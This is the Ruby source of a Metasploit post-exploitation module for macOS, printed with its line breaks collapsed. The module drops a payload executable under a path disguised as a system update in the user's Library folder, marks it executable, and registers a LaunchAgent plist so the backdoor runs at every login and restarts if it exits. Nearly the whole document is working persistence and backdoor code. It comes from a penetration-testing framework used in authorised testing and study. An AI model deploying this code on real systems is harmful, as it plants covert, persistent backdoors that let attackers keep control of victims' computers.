## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' require 'shellwords' class Metasploit < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE def initialize(info={}) super( update_info( info, 'Name' => 'Mac OS X Persistent Payload Installer', 'Description' => %q{ This module provides a persistent boot payload by creating a plist entry in current user's ~/Library/LaunchAgents directory. Whenever the user logs in, the LaunchAgent will be invoked and this dropped payload will run. }, 'License' => MSF_LICENSE, 'Author' => [ "Marcin 'Icewall' Noga ", "joev" ], 'Platform' => [ 'osx' ], 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultTarget' => 0, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DisclosureDate' => 'Apr 01 2012' )) register_options([ OptString.new('BACKDOOR_PATH', [true, 'Path to hide the backdoor on the target.', '~/Library/./com.system.update'] ), OptBool.new('KEEPALIVE', [true, 'Continually restart the payload exe if it crashes/exits.', true] ), OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', false] ) ], self.class) end def exploit check_for_duplicate_entry # Store backdoor on target machine write_backdoor(generate_payload_exe) # Add plist file to LaunchAgents dir add_launchctl_item # tell the user how to remove the persistence if necessary list_removal_paths end private # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path def add_launchctl_item label = File.basename(backdoor_path) cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}") # Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive item = <<-EOI Label #{label} Program #{backdoor_path} ProgramArguments #{backdoor_path} RunAtLoad OnDemand <#{keepalive?}/> KeepAlive <#{keepalive?}/> EOI if write_file(plist_path, item) print_good("LaunchAgent added: #{plist_path}") else fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}") end if run_now? cmd_exec("launchctl load -w #{plist_path.shellescape}") end print_good("LaunchAgent installed successfully.") end # path to upload the backdoor. any or substrings will be replaced. # @return [String] path to drop the backdoor payload. def backdoor_path @backdoor_path ||= (datastore['BACKDOOR_PATH'] .gsub(''){ Rex::Text.rand_text_alpha(8) } .gsub(/^~\//, "/Users/#{user}/")) end # raises an error if a Launch Agent already exists at desired same plist_path def check_for_duplicate_entry if file?(plist_path) fail_with "FileError", "Duplicate LaunchAgent plist already exists at #{plist_path}" end end # @return [Boolean] user wants the persistence to be restarted constantly if it exits def keepalive? datastore['KEEPALIVE'] end # useful if you want to remove the persistence. # prints out a list of paths to remove and commands to run. def list_removal_paths files = [backdoor_path, plist_path] print_status("To remove the persistence, run:\n"+ "$ launchctl unload -w #{plist_path.shellescape}\n"+ files.map{|f| "$ rm #{f}"}.join("\n")) end # path to the LaunchAgent service configuration plist # @return [String] path to the LaunchAgent service def plist_path @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" end # @return [Boolean] user wants to launch the LaunchAgent immediately def run_now? datastore['RUN_NOW'] end # @return [String] username of the session def user @user ||= cmd_exec('whoami').strip end # drops the file to disk, then makes it executable # @param [String] exe the executable to drop def write_backdoor(exe) print_status("Dropping backdoor executable...") cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}") if write_file(backdoor_path, exe) print_good("Backdoor stored to #{backdoor_path}") cmd_exec("chmod +x #{backdoor_path.shellescape}") else fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}") end end end